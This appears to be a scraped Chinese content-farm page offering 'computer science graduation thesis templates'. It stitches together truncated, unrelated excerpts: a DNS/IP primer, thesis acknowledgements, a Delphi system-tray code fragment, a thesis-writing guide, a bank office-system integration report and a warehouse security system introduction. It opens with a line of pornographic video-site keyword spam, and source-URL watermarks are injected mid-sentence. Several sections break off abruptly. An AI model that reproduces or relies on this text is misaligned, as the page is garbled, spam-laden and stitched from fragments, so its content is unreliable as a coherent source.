伊人色婷婷综在合线亚洲,亚洲欧洲免费视频,亚洲午夜视频在线观看,最新国产成人盗摄精品视频,日韩激情视频在线观看,97公开免费视频,成人激情视频在线观看,成人免费淫片视频男直播,青草青草久热精品视频99

計算機(jī)系畢業(yè)論文模板(10篇)

時間:2022-05-13 09:55:58

導(dǎo)言:作為寫作愛好者,不可錯過為您精心挑選的10篇計算機(jī)系畢業(yè)論文,它們將為您的寫作提供全新的視角,我們衷心期待您的閱讀,并希望這些內(nèi)容能為您提供靈感和參考。

篇1

當(dāng)前,在經(jīng)濟(jì)全球化和全球信息化大潮中,人們不僅重視信息及其集成的作用,而且更加重視信息使用者對信息集成的反應(yīng)和運用?;ヂ?lián)網(wǎng)上的域名已為越來越多的人們所關(guān)注,因此,了解域名及其對應(yīng)的IP地址的關(guān)系,正確地配置域名服務(wù)器,就成為設(shè)立網(wǎng)站、使自己在Internet上注冊的域名得到體現(xiàn)的關(guān)鍵。

1.IP地址

IP(InternetProtocol)地址就是網(wǎng)絡(luò)協(xié)議地址,是分配給網(wǎng)絡(luò)節(jié)點的邏輯地址。這些網(wǎng)絡(luò)節(jié)點可以是網(wǎng)絡(luò)中的任何一臺主機(jī),提供節(jié)點之間的交換信息服務(wù)。由于在Internet網(wǎng)絡(luò)中存在著大量的節(jié)點,為了能夠在網(wǎng)上找到這個節(jié)點,就必須給予標(biāo)識。IP地址就是一種標(biāo)識方法,它獨立于任何特定的網(wǎng)絡(luò)硬件和網(wǎng)絡(luò)配置,使用TCP/IP協(xié)議的網(wǎng)絡(luò)在發(fā)送或接收信息時先把數(shù)據(jù)打包,然后將目標(biāo)IP地址翻譯成MAC(Medi-umAccessControl)硬件的物理地址,這樣就可以把數(shù)據(jù)包準(zhǔn)確地發(fā)送或接收過來。

每個IP地址是由4個字節(jié)共32位組成,每字節(jié)之間使用小數(shù)點分隔,一般用十進(jìn)制數(shù)字表示。每個IP地址包括兩個標(biāo)識(ID),即網(wǎng)絡(luò)ID和宿主機(jī)ID,同一個物理網(wǎng)絡(luò)上的所有主機(jī)都用同一個網(wǎng)絡(luò)ID,而網(wǎng)絡(luò)上的每個服務(wù)器、路由器、計算機(jī)等都有一個主機(jī)ID。比如202.98.180.194即是云南省科學(xué)技術(shù)情報研究所的一個WWW服務(wù)器的IP地址。

2.因特網(wǎng)域名及結(jié)構(gòu)

由于IP地址全是數(shù)字代碼,既不直觀又難于記憶,因特網(wǎng)在IP地址的基礎(chǔ)上,提供了一種面向用戶的主機(jī)名字,即域名。如istiy(InstituteofScientific&TechnicalInformationofYunnan)為我所(云南省科學(xué)技術(shù)情報研究所)的英文縮寫。即為我所在因特網(wǎng)上注冊的域名,而(主機(jī)名+域名)為我所DNS服務(wù)器的主機(jī)域名,對應(yīng)的IP地址就是202.98.180.193。

3.域名解析系統(tǒng)DNS(DomainNameSystem)就是提供域名與IP地址相互映射的網(wǎng)絡(luò)服務(wù)。事實上,DNS是遍布于全世界的一個分布式數(shù)據(jù)庫。它主要負(fù)責(zé)控制整個數(shù)據(jù)庫中的部分段,每一段中的數(shù)據(jù)通過客戶/服務(wù)模式在整個網(wǎng)絡(luò)上均可存取。DNS的數(shù)據(jù)庫結(jié)構(gòu),同UNIX文件系統(tǒng)(或MSDOS文件系統(tǒng))的結(jié)構(gòu)很相似,整個數(shù)據(jù)庫(或文件系統(tǒng))將根放在頂端,畫出來就像一顆倒轉(zhuǎn)的樹。在DNS中,根的名字以空字符串“”表示,DNS簡單地稱其為“根”(Root)或偶而稱之為“根域”(RootDomain),在UNIX文件系統(tǒng)中,根以反斜杠“/”表示,被稱為“根目錄”。如圖1所示.

圖1在DNS和UNIX文件系統(tǒng)中名稱的讀法

DNS數(shù)據(jù)庫“”

篇2

在這寶貴的兩年的研究生生活中,首先我要感謝我的導(dǎo)師——郭清順老師?!笆谌艘贼~,不如授之以漁”,郭老師正是這樣以言傳身教來教導(dǎo)著我們。

在這里,還要特別感謝我另外一位老師——道焰老師,她雷厲風(fēng)行的性格、干凈利落的做事風(fēng)格永遠(yuǎn)是我學(xué)習(xí)的榜樣。無論是在學(xué)習(xí)上還是在生活,她總給在我最需要的時候給予幫助。

不得不提,王竹立老師,他慈父一樣的關(guān)懷曾使我感激不已。他使我懂得,踏踏實實做人,認(rèn)認(rèn)真真做事,應(yīng)付別人就是應(yīng)付自己。

感謝在研究生學(xué)習(xí)期間給我諸多教誨和幫助的信息與網(wǎng)絡(luò)中心的各位老師,感謝陳鐵老師、蘇順開老師、黃海老師、張汶老師給予我的指導(dǎo)和幫助!

感謝317實驗室的兄弟姐妹,是你們給我?guī)砹藲g樂,是你們讓我知道了什么是手足情深。

感謝我的三位同學(xué)——陳頌麗、路昉碩和郭澤平,我們之間的友誼足以使我今生不忘。

感謝我的朋友——淦鑫、馬偉杰、王海洋、賀明威、林諸鳴、甘榮偉,感謝你們在我失意時給我鼓勵,在失落時給我支持,感謝你們和我一路走來,讓我在此過程中倍感溫暖!

相關(guān)的論文致謝樣本

·畢業(yè)論文致謝如何寫·課程設(shè)計論文致謝詞·博士生論文致謝范例

篇3

unitpro2;

interface

uses

。。。,Menus,shellAPI;//TNotifyIconData是定義在shellAPI單元的

{自定義消息,當(dāng)小圖標(biāo)捕捉到鼠標(biāo)事件時Windows向回調(diào)函數(shù)發(fā)送此消息}

constWM_MYTRAYICONCALLBACK=WM_USER+1000;

。。。。

private

MyTrayIcon:TNotifyIconData;

procedureWMMyTrayIconCallBack(VarMsg:TMessage);messageWM_MYTRAYICONCALLBACK;

//托盤消息處理過程

procedureWMCommand(Varmsg:TWMCommand);messageWM_Command;

//處理托盤圖標(biāo)的右鍵菜單事件

procedureMinimize(varmess:TWMNCLBUTTONDOWN);messageWM_NCLBUTTONDOWN;

//窗體最小化時的消息處理

。。。。。。。。

procedureTForm1.FormCreate(Sender:TObject);

begin

//將程序窗口樣式設(shè)為TOOL窗口,避免在任務(wù)欄上出現(xiàn)

SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);

end;

procedureTForm1.FormShow(Sender:TObject);

begin

//設(shè)置托盤

Icon.Handle:=LoadIcon(Hinstance,''''MAINICON'''');

MyTrayIcon.cbSize:=SizeOf(TNotifyIconData);//nid變量的字節(jié)數(shù)

MyTrayIcon.Wnd:=Handle;//主窗口句柄

MyTrayIcon.uID:=1;//內(nèi)部標(biāo)識,可設(shè)為任意數(shù)

MyTrayIcon.uFlags:=NIF_ICONorNIF_TIPorNIF_MESSAGE;//指明哪些字段有效

MyTrayIcon.uCallBackMessage:=WM_MYTRAYICONCALLBACK;//回調(diào)函數(shù)消息,將自定義托盤消息傳遞進(jìn)去

MyTrayIcon.hIcon:=Application.Icon.Handle;//要加入的圖標(biāo)句柄,可任意指定

StrCopy(MyTrayIcon.szTip,PChar(Caption));

Shell_NotifyIcon(NIM_ADD,@MyTrayIcon);

ShowWindow(Handle,sw_Hide);

//Visible:=False;//當(dāng)程序啟動時就最小化在托盤區(qū)即Form.Create時啟用此語句

Application.ShowMainForm:=False;

SetForegroundWindow(Application.Handle);

end;

////消息過程實現(xiàn)

procedureTForm1.WMMyTrayIconCallBack(varMsg:TMessage);

varCursorPos:TPoint;

begin

caseMsg.LParamof

WM_LBUTTONDBLCLK://雙擊消息:彈出主窗口

begin

Visible:=notVisible;

Application.ShowMainForm:=Visible;

SetForegroundWindow(Application.Handle);

end;

WM_RBUTTONDOWN://鼠標(biāo)右鍵:彈出菜單

begin

GetCursorPos(CursorPos);

{Popupmenu1.Popup(CursorPos.X,CursorPos.Y);

popupmen1里面就可以加入顯示主窗口、退出等功能。這個右鍵菜單可以是靜態(tài)的,如上面一句來彈出;也可以動態(tài)建立,如下面所示的方法:}

pm:=createpopupmenu;//建立一個Hmenu,pm:hmenu;

AppendMenu(pm,0,ord(''''A''''),''''關(guān)于....'''');//在指定的菜單里添加一個菜單項

AppendMenu(pm,0,Ord(''''B''''),''''&Exit'''');

//加入菜單事件---》處理WMCOMMAND消息即可

TrackPopupMenu(pm,Tpm_BottomAlignorTpm_RightAlign,CursorPos.x,CursorPos.y,0,handle,nil);

//在圖標(biāo)上方顯示該彈出式菜單

end;

end;

end;

procedureTForm1.WMCommand(varmsg:TWMCommand);

begin

Casemsg.ItemIDof

Ord(''''A''''):showmessage(''''我的右鍵菜單!'''');

Ord(''''B''''):Self.close;//關(guān)閉程序主窗體

elseinherited;

end;

end;

procedureTform1.Minimize(varmess:TWMNCLBUTTONDOWN);//應(yīng)用程序最小化消息處理

begin

ifMess.Hittest=htReducethen

Self.Hide

elseinherited;

end;

procedureTForm1.FormClose(Sender:TObject;varAction:TCloseAction);

var{程序被關(guān)閉時通知Windows去掉小圖標(biāo)}

nid:TNotifyIconData;

begin

nid.cbSize:=sizeof(nid);//nid變量的字節(jié)數(shù)

nid.uID:=1;//內(nèi)部標(biāo)識,與加入小圖標(biāo)時的數(shù)一致

篇4

寫作流程

自考計算機(jī)專業(yè)畢業(yè)論文有1年準(zhǔn)備時間,寫作時間的分配主要取決于考生軟件開發(fā)的進(jìn)度,如果考生開發(fā)的軟件很成熟,那末后續(xù)的寫作時間就較快,否則后面的寫作就會很被動。例如,一般會在每年7月份登記,9月底開題,期間開發(fā)軟件,到第二年2、3月就要完成初稿,再留一個月修改。

1、選題。選題首先要重要、有意義。例如有的考生選擇設(shè)計木馬程序,其本身是個病毒程序,這樣的程序只能帶來危害,實際生活中沒有意義,就不能用于做畢業(yè)論文。

2、開發(fā)軟件。開發(fā)軟件要與實際相結(jié)合。實際性非常重要,要自己能開發(fā)一個能實際運行的軟件。有的考生自己并沒有參與實際工作,只是看書是不行的。自己參與的可以是一個大的項目或課題組,論文中介紹完大的系統(tǒng)后,一定要把自己的工作量寫清楚。

3、寫論文。開發(fā)完就可以寫論文了,論文是個總結(jié),但是不要寫成工作總結(jié),一定要有主題,應(yīng)體現(xiàn)自己的開發(fā)思想和論述自考本科計算機(jī)專業(yè)畢業(yè)論文寫作指南自考本科計算機(jī)專業(yè)畢業(yè)論文寫作指南。寫論文要達(dá)到一定字?jǐn)?shù),一般要3萬字。其中,編程代碼一般為2-3千行,這個不是機(jī)器自動生成的代碼,一定是自己寫的源代碼。

論文結(jié)構(gòu)

計算機(jī)專業(yè)畢業(yè)論文一般有8個部分。1、概述或引言。這個部分相當(dāng)于大綱,一般要求4-5千字,主要是對軟件開發(fā)背景,使用的軟件工具、環(huán)境,最后達(dá)到的效果,自我在里面的貢獻(xiàn)等;2、需求分析。軟件有哪些功能、模塊,用的什么工具等;3、設(shè)計方案和主要技術(shù)自考本科計算機(jī)專業(yè)畢業(yè)論文寫作指南文章自考本科計算機(jī)專業(yè)畢業(yè)論文寫作指南出自http://gkstk.com/article/wk-78500001321796.html,轉(zhuǎn)載請保留此鏈接!。主要是對里面每一部分的詳細(xì)論述,使用的是什么技術(shù),為什么使用。詳細(xì)的模塊分析或遇到的難點是怎樣解決的等;4、具體的實現(xiàn)過程;5、測試。介紹自己開發(fā)軟件實際達(dá)到的效果;6、總結(jié)。介紹自己開發(fā)軟件的體會,或自己開發(fā)的成果使用情況,有什么評價,自己還有哪些不足,有什么需要改進(jìn)的地方;7、致謝;8、參考文獻(xiàn)。另外,還可以加一個“附錄”部分。正文只能有一個中心,其他有重要參考價值的都可以放在附錄部分。例如有重要的代碼、圖表,涉及其他領(lǐng)域的知識,需要解釋的等都可以放在附錄部分。

案例1:《家裝工程預(yù)算軟件的開放》1、概述;2、需求分析;3、總體設(shè)計;4、數(shù)據(jù)庫設(shè)計;5、軟件功能的實現(xiàn);6、結(jié)論及改進(jìn);7、致謝;8、參考文獻(xiàn)。

案例2:《經(jīng)緯中天無線短信增值服務(wù)管理軟件的設(shè)計和開放》1、引言;2、需求分析;3、設(shè)計方案論證和主要技術(shù)介紹;4、系統(tǒng)設(shè)計;5、編碼實現(xiàn);6、實際運行中出現(xiàn)的問題及相應(yīng)的解決方案;7、結(jié)束語;8、致謝;9、參考文獻(xiàn)。

答辯程序

答辯現(xiàn)場會有專業(yè)老師組成的答辯小組,一般為5人左右,學(xué)生抽簽分配答辯組。答辯現(xiàn)場要考生做介紹和演示??忌枰崆皽?zhǔn)備幻燈片,一般不超過20張,為論文最核心部分的內(nèi)容自考本科計算機(jī)專業(yè)畢業(yè)論文寫作指南論文

WiseMedia

考生結(jié)合幻燈片介紹論文,答辯小組老師會根據(jù)考生論文提出問題,考生要實事求是回答,最后答辯小組老師打分,求平均分給出考生論文成績。大部分考生都會達(dá)到優(yōu)、良,個別考生沒有通過論文,主要有兩方面原因:1、論文并不是自己真正所做,用別人的軟件為自己所用,老師一提問就能發(fā)現(xiàn)破綻;2、考生論得太簡單,達(dá)不到工作量。這就需要考生踏踏實實地按照要求去作論文。

零碎提醒

論文的題目不要太大,一定要具體、實際,不能吹成通用的;

自考生考過全部課程后,最好能尋求實踐機(jī)會??梢匀?yīng)聘公司,真正參與一個項目,一邊工作一邊寫論文;

論文不要上網(wǎng)抄,一定要自己做;

篇5

1引言

在接到開發(fā)中國人民銀行廣西區(qū)分行辦公信息服務(wù)系統(tǒng)任務(wù)的初期,我們既興奮又迷茫,興奮的是我們有機(jī)會從事一項意義重大的工作,迷茫的是在我們以往所進(jìn)行的系統(tǒng)集成實例中找不到可以借鑒的經(jīng)驗,而且從各種資料上也查不到類似的范例。盡管開始時我們還感到無從下手,但我們還是下決心完成這一艱巨的任務(wù)。在整項工程的建設(shè)過程中,我們的感覺仿佛是在黑暗中摸索前進(jìn),我們制定并否定了一個又一個方案,最后終于找到了一個看起來可行的方案,并勇敢地前進(jìn),終于在完成了任務(wù)的同時證明了這一方案的可行性。2需求分析

中國人民銀行廣西區(qū)分行辦公信息服務(wù)系統(tǒng)建設(shè)的目的是為行長和處長們辦公決策提供全面、可靠、快捷的信息服務(wù)。這一系統(tǒng)開發(fā)完成后,行長及處長們只需在計算機(jī)前就可調(diào)閱人行各業(yè)務(wù)處的數(shù)據(jù)和報表,并且還能查閱到廣西區(qū)情、廣西國民經(jīng)濟(jì)綜合情況、電話號碼、飛機(jī)航班、列車時刻、最新文件及重大事件等信息。中國人民銀行辦公信息服務(wù)系統(tǒng)不僅要新開發(fā)許多公共信息服務(wù)系統(tǒng),而且最重要的是要在人行廣西區(qū)分行二十多個業(yè)務(wù)處現(xiàn)有的和將來中國人民銀行總行配發(fā)的軟件系統(tǒng)基礎(chǔ)上進(jìn)行,即要求新開發(fā)系統(tǒng)要完全具有人行廣西區(qū)分行原有各業(yè)務(wù)系統(tǒng)及將來總行配發(fā)下來的軟件系統(tǒng)功能。根據(jù)項目內(nèi)容,我們可以將需求歸納成兩大類信息服務(wù)系統(tǒng)即業(yè)務(wù)信息類和公共信息類信息服務(wù)系統(tǒng)。

公共信息類信息服務(wù)系統(tǒng)包括電話號碼、列車時刻、飛機(jī)航班、最新公文及最新動態(tài)、廣西區(qū)情及綜合情況等這些公共的信息查詢系統(tǒng),這類系統(tǒng)原來中國人民銀行廣西區(qū)分行內(nèi)沒有,因此我們需要開發(fā)這些軟件系統(tǒng),這一部分方案比較容易確定。業(yè)務(wù)信息是指中國人民銀行廣西區(qū)分行各業(yè)務(wù)處每日產(chǎn)生的大量數(shù)據(jù)及報表,這些數(shù)據(jù)及報表是各處的業(yè)務(wù)軟件系統(tǒng)處理的結(jié)果。業(yè)務(wù)信息類服務(wù)系統(tǒng)不僅要求功能齊全,而且要操作簡單,行長和處長們只需進(jìn)行簡單的操作即可查閱到各業(yè)務(wù)處的數(shù)據(jù)和報表。因為各業(yè)務(wù)處的辦公信息服務(wù)系統(tǒng)的來源復(fù)雜,有的是從中國人民銀行總行各相對獨立的專業(yè)司配發(fā)下來的,有的是中國人民銀行廣西區(qū)分行科技處的同志開發(fā)的,有的是市縣支行同志開發(fā)的。同時這些軟件開發(fā)工具也不一,并多是.EXE文件,因此系統(tǒng)集成難度大,我們需要尋找到一個可行的系統(tǒng)集成方案。

3系統(tǒng)集成方案的制定

本項工程最突出的特點是要在完全利用原有系統(tǒng)的前提下為高層領(lǐng)導(dǎo)開發(fā)一個高水平的軟件系統(tǒng),因此無論在設(shè)計思想上還是在技術(shù)上都需要對現(xiàn)有系統(tǒng)集成方法有所突破。為此,我們進(jìn)行了多種嘗試,先后制定過以下四個方案。

(1)從分析和處理各原業(yè)務(wù)系統(tǒng)原始數(shù)據(jù)入手重現(xiàn)各種報表。

(2)截取打印機(jī)端口數(shù)據(jù)獲得原業(yè)務(wù)系統(tǒng)各種報表,并進(jìn)行處理。

(3)將原業(yè)務(wù)系統(tǒng)數(shù)據(jù)轉(zhuǎn)換成可被EXCEL.識別的數(shù)據(jù),用EXCEL來編制和管理報表系統(tǒng)。

(4)直接將原業(yè)務(wù)系統(tǒng)集成進(jìn)我們的系統(tǒng),利用原業(yè)務(wù)系統(tǒng)的查詢功能。

經(jīng)過深入細(xì)致的調(diào)研和研究分析,我們選定了最后一個方案。直接將原業(yè)務(wù)系統(tǒng)集成進(jìn)我們的系統(tǒng),利用原業(yè)務(wù)系統(tǒng)的查詢功能。

4辦公信息服務(wù)系統(tǒng)總體設(shè)計方案

在分別確定了網(wǎng)絡(luò)系統(tǒng)方案,軟件系統(tǒng)及系統(tǒng)集成方案后,我們設(shè)計了系統(tǒng)總體設(shè)計方案。具體如下:

1)采用WINDOWSNT網(wǎng)絡(luò)結(jié)構(gòu),服務(wù)器為中文WINDOWSNT3.51,工作站采用中文WINDOWS3.2。

2)數(shù)據(jù)庫采用CLIENT/SERVER模式,數(shù)據(jù)庫服務(wù)器采用SQLSERVER6.5,LIENT端開發(fā)工具采POWERBUILDER5.0。

3)用POWERBUILDER5.0開發(fā)系統(tǒng)主框架及公共信息子系統(tǒng)。

4)將業(yè)務(wù)系統(tǒng)放在工作站硬盤上,讓其在工作站上運行,然后通過網(wǎng)絡(luò)來采集和傳送數(shù)據(jù)。

5)將各業(yè)務(wù)系統(tǒng)直接集成到辦公信息服務(wù)系統(tǒng)中。

6)將所有業(yè)務(wù)系統(tǒng)在每臺行長用機(jī)硬盤上都安裝一套,行長在本工作站上使用與各業(yè)務(wù)處相同的系統(tǒng),查閱各種業(yè)務(wù)數(shù)據(jù),業(yè)務(wù)數(shù)據(jù)通過網(wǎng)絡(luò)采集。

7)用直接對鍵盤緩沖區(qū)操作的方法,簡化行長對業(yè)務(wù)數(shù)據(jù)的查詢過程。

5系統(tǒng)數(shù)據(jù)流程

公共信息存放在網(wǎng)絡(luò)服務(wù)器,各工作站都可直接查詢。

從業(yè)務(wù)軟件上網(wǎng),數(shù)據(jù)的安全性及軟件系統(tǒng)的可靠性三方面考慮,中國人民銀行廣西區(qū)分行辦公信息服務(wù)系統(tǒng)將業(yè)務(wù)軟件系統(tǒng)及所有的業(yè)務(wù)查詢系統(tǒng)軟件都放置在工作站硬盤上,業(yè)務(wù)數(shù)據(jù)查詢操作也只對工作站硬盤進(jìn)行。在對業(yè)務(wù)數(shù)據(jù)處理方面網(wǎng)絡(luò)只承擔(dān)數(shù)據(jù)采集及傳遞的任務(wù),業(yè)務(wù)數(shù)據(jù)的流程是定期從各業(yè)務(wù)處工作站拷貝到網(wǎng)絡(luò)上相應(yīng)目錄,再由行長和處長們將其從網(wǎng)絡(luò)上取回到他們自己的工作站。

6需要解決的技術(shù)問題

采用這一方案,需要將用POWERBUILDER新開發(fā)出來的系統(tǒng)與原有的WINDOWS環(huán)境上運行的,EXE文件與在DOS下中文環(huán)境UCDOS上運行的.EXE文件及在DOS環(huán)境上foxbase下運行的.PRG文件,或在LOTUS123下運行的軟件集成在一起,并且采用了直接對鍵盤緩沖區(qū)進(jìn)行操作的技術(shù),因此就面臨著許多諸如內(nèi)存不夠,地址及顯示方式?jīng)_突等錯綜復(fù)雜的問題,下面就介紹我們曾遇到的問題及解決問題的方法。

6.1網(wǎng)絡(luò)結(jié)構(gòu)

由于各業(yè)務(wù)系統(tǒng)原來是在單用戶環(huán)境上開發(fā)的,沒有考慮網(wǎng)絡(luò)上運行的特點,因此無法直接上網(wǎng),為此我們采用非集中式數(shù)據(jù)管理方法,將業(yè)務(wù)系統(tǒng)放在工作站硬盤上,讓其在工作站上運行,然后通過網(wǎng)絡(luò)來采集和傳送數(shù)據(jù),這樣就解決了業(yè)務(wù)系統(tǒng)多個用戶同時使用,數(shù)據(jù)共享及網(wǎng)絡(luò)安全等問題。

6.2系統(tǒng)集成方案

因為中國人民銀行廣西區(qū)分行辦公信息服務(wù)系統(tǒng)覆蓋面很大,并要將原有五花八門的系統(tǒng)與新開發(fā)的系統(tǒng)集成在一起,在這些系統(tǒng)中有POWERBUILDER開的發(fā),有用VISUALFOXPROFORWINDOWS及FOXPROFORWINDOWS開發(fā)的,也有在DOS及UCDOS下用FOXPRO2.5及FOXBASE開發(fā)的,還有在LOTUS123下運行的系統(tǒng),同時還要考慮直接對鍵盤緩沖區(qū)進(jìn)行操作時的可靠性,因此系統(tǒng)集成方案是本項目中的關(guān)鍵。我們曾經(jīng)制定了兩種方案,第一種方案是系統(tǒng)一開始是運行在DOS環(huán)境上,先進(jìn)入UCDOS,這樣用戶可正常運行DOS下的業(yè)務(wù)系統(tǒng),當(dāng)需要運行WINDOWS下的系統(tǒng)時,才退出UCDOS進(jìn)入WINDOWS,用戶接著可使用WINDOWS下的業(yè)務(wù)軟件及公共信息軟件系統(tǒng)。第二種方案是,系統(tǒng)一開始就運行在WINDOWS環(huán)境,用戶可直接運行公共信息系統(tǒng)及WINDOWS環(huán)境下的業(yè)務(wù)軟件系統(tǒng),當(dāng)用戶需要使用DOS環(huán)境的系統(tǒng)時,再調(diào)用WINDOWS下的DOS窗口,進(jìn)入UCDOS,然后運行業(yè)務(wù)軟件系統(tǒng),運行完后退回WINDOWS。第一種方案比較簡單,但用戶界面不理想,操作步驟及系統(tǒng)反應(yīng)時間較長。第二方案用戶界面良好,操作管理簡便,但由于系統(tǒng)疊加層次較多,因此需解決內(nèi)存及其它資源限制及沖突等問題。經(jīng)過努力我們成功地按第二方案實施,使得原來五花八門而顯得零亂的多個系統(tǒng)在WINDOWS下集成起來,形成一個有機(jī)的整體。6.3鍵盤緩沖區(qū)操作

因為辦公信息服務(wù)系統(tǒng)的使用者是人行廣西區(qū)分行的高層領(lǐng)導(dǎo),因此除了要求界面美觀之外,還特別要求使用簡便。由于我們將各原有系統(tǒng)集成到我們的軟件中,而各原有系統(tǒng)一般功能繁多,并多需要輸入口令等繁瑣的步驟才能進(jìn)入到領(lǐng)導(dǎo)們所需的查詢功能,因此我們采用預(yù)先將這些操作的字符序列自動寫入鍵盤緩沖區(qū)的辦法,將這些步驟“短路”,領(lǐng)導(dǎo)們在調(diào)用該業(yè)務(wù)系統(tǒng)時就直接進(jìn)入到查詢功能。

在對DOS環(huán)境下運行的業(yè)務(wù)系統(tǒng),我們采用直接向鍵盤緩沖區(qū)寫入字符序列,以簡化操作的方法。采用這種方法需要掌握寫入的時機(jī),否則及容易造成不可預(yù)見性的結(jié)果以致死機(jī)。由于用戶將要在不同業(yè)務(wù)系統(tǒng)中來回選擇,因此鍵盤緩沖區(qū)操作程序在內(nèi)存的駐留方式也是一個需要處理好的問題,否則會出現(xiàn)內(nèi)存管理混亂等問題。經(jīng)過反復(fù)嘗試我們找到了解決問題的方案,采用從WINDOWS調(diào)用DOS進(jìn)程及UCDOS之后,調(diào)用鍵盤緩沖區(qū)操作程序,將操作序列寫入到鍵盤緩沖區(qū),然后再調(diào)用業(yè)務(wù)系統(tǒng),由系統(tǒng)自動按鍵盤緩沖區(qū)的字符序列進(jìn)入業(yè)務(wù)系統(tǒng)的查詢操作,在退出業(yè)務(wù)系統(tǒng)時,由WINDOWS自動清除內(nèi)存中的UCDOS及鍵盤緩沖區(qū)操作程序,使內(nèi)存恢復(fù)到調(diào)用前原狀。在處理WINDOWS環(huán)境中運行的業(yè)務(wù)系統(tǒng)時,我們在進(jìn)入系統(tǒng)前直接調(diào)用鍵盤緩沖區(qū)操作程序,將操作序列寫入到鍵盤緩沖區(qū),然后調(diào)用業(yè)務(wù)系統(tǒng),讓其自動按鍵盤緩沖區(qū)序列進(jìn)入到其查詢功能。

6.4內(nèi)存優(yōu)化

采用這種集成方案,內(nèi)存將要容納網(wǎng)絡(luò)驅(qū)動程序,WINDOWS,UCDOS,F(xiàn)OXBASE,業(yè)務(wù)系統(tǒng),DOS解釋程序等,因此常常會遇到內(nèi)存不足的問題,采用優(yōu)化內(nèi)存是解決內(nèi)存不足的一種方法,我們采用DOS的MEMMAKER來優(yōu)化內(nèi)存,以解決基本內(nèi)存不足的問題。

6.5WINDOWS與UCDOS協(xié)調(diào)工作

由于系統(tǒng)主框架是運行于WINDOWS環(huán)境,而業(yè)務(wù)系統(tǒng)許多是在DOS環(huán)境下UCDOS環(huán)境中運行,這就涉及中文WINDOWS與UCDOS協(xié)調(diào)工作的問題,如果先進(jìn)UCDOS,然后執(zhí)行WINDOWS,則會造成顯示方式?jīng)_突,系統(tǒng)無法使用,反之,先進(jìn)WINDOWS然后再調(diào)用DOS進(jìn)程,進(jìn)入UCDOS,則使用順暢,并且在退出DOS進(jìn)程后,內(nèi)存沒有任何殘留。

6.6解決內(nèi)存不足問題

采用直接集成方案,內(nèi)存將要容納網(wǎng)絡(luò)驅(qū)動程序、WINDOWS、UCDOS、FOXBASE,業(yè)務(wù)系統(tǒng),DOS解釋程序等,因此常常會遇到內(nèi)存不足的問題,采用優(yōu)化內(nèi)存是解決內(nèi)存不足的一種方法,但只能解決部分基本內(nèi)存不足的問題,在許多情況下仍需采用別的方法。如某處業(yè)務(wù)軟件是在FOXBASE下運行的.FOX程序,該.FOX程序調(diào)用DOS命令,這樣內(nèi)存中將要容納網(wǎng)絡(luò)驅(qū)動程序,中文WINDOWS3.2,DOS,UCDOS5.0,鍵盤操作駐留程序,F(xiàn)OXBASE,該.FOX及DOS命令解釋程序,從而造成內(nèi)存不足。為解決這一問題,我們找來了反編譯程序,將.FOX文件反編譯成.PRG文件,然后用FOXPRO2.5,將其編譯成.EXE文件,這樣在調(diào)用它時,就無需執(zhí)行FOXBASE,從而解決這種內(nèi)存不足的問題。

7成果

在進(jìn)行項目開發(fā)的過程中我們曾查閱許多資料,沒有人曾介紹用類似的方案進(jìn)行系統(tǒng)集成的經(jīng)驗。因此在項目開發(fā)完成前,我們一直擔(dān)心,最后的系統(tǒng)會不會是個“四不象”,但我們驚喜地發(fā)現(xiàn),我們的系統(tǒng)不僅功能強大,性能可靠,而且各部分銜接自然,使用極其方便。這種系統(tǒng)集成方法是一種新穎的方法。為在大型企業(yè)及機(jī)構(gòu)已有的軟件系統(tǒng)基礎(chǔ)上進(jìn)行系統(tǒng)集成創(chuàng)造了一種巧妙簡截而又成功的解決方案。

9參考文獻(xiàn)

[1]PowerBuilder5.0技術(shù)參考手冊(套)北京市曉通網(wǎng)絡(luò)數(shù)據(jù)庫研究所

[2]Excel5forwindows大全,海洋出版社

篇6

一、引言

計算機(jī)技術(shù)、網(wǎng)絡(luò)技術(shù)、多媒體技術(shù)的成熟與發(fā)展,為倉儲管理自動化提供了強有力的技術(shù)支持。當(dāng)前已有的系統(tǒng)其功能一般比較單一。如防盜系統(tǒng)只管防盜;倉儲管理系統(tǒng)只負(fù)責(zé)倉庫物品的數(shù)據(jù)處理;控制系統(tǒng)只完成簡單的環(huán)境控制功能(如開關(guān)門、開關(guān)燈、通風(fēng)等)。將這些功能彼此獨立的系統(tǒng)有機(jī)結(jié)合起來,組成一個既能完成管理,又能實現(xiàn)實時監(jiān)控的一體化自動管理系統(tǒng)具有重要的意義。我們所設(shè)計的這套倉庫安全管理綜合信息系統(tǒng),是把門禁系統(tǒng)(IC卡開門)、環(huán)境監(jiān)控系統(tǒng)、財務(wù)管理系統(tǒng)、合同管理系統(tǒng)、報警控制系統(tǒng)和數(shù)據(jù)處理系統(tǒng)結(jié)合在一起,充分利用了先進(jìn)的計算機(jī)技術(shù)和控制手段。它既能通過音頻、視頻以及紅外線、雷達(dá)、震動等傳感器實時監(jiān)控對所有分庫的開門、取物、檢修等操作,又能對防區(qū)內(nèi)的警報信號立即處理或自動上報;它還是一個倉庫的數(shù)據(jù)中心,能完成人員、倉儲信息處理以及自動報時、鳴號、熄燈、開關(guān)高壓電網(wǎng)、布撤防等控制。另外,該系統(tǒng)還與財務(wù)管理系統(tǒng)、合同管理系統(tǒng)集成在一起構(gòu)成一個安全、主動和綜合的倉庫管理系統(tǒng)。

二、系統(tǒng)的基本要求

目前的倉庫管理系統(tǒng)一般技術(shù)比較落后、性能較差且很不完備,有的甚至沒有安全防盜功能。即使有安全防盜功能其性能一般也不太理想,人工干涉多,操作使用不方便,有的還故障率高而不實用。隨著社會信息交流的日益加強和信息量的集聚增加,再加上盜竊活動的團(tuán)伙化、智能化和高技術(shù)化等特點,倉儲管理部門越來越需要一套低成本、高性能、方便使用、功能完善的綜合倉庫監(jiān)控管理系統(tǒng)。要求它具有立即捕捉警情并提供警情發(fā)生地的有關(guān)信息(如地圖、位置、類型、程度、平面圖、地形圖、結(jié)構(gòu)圖以及警情發(fā)生地的倉儲情況等),計算機(jī)系統(tǒng)馬上對警情做出反應(yīng),迅速通知值班人員和倉庫管理員(通過聲光等信號形式),可能的話還可立即對警情發(fā)生地實施控制(如接通高壓電網(wǎng)、自動封閉門窗、拉響警笛、打開探照燈等)。對重要的警情要立即通過計算機(jī)網(wǎng)絡(luò)或內(nèi)部電話自動交換網(wǎng)上報上級主管部門。特別是要求系統(tǒng)能完整記錄從發(fā)生警情到上報,進(jìn)而做出處理的全過程,以便于事后分析處理。

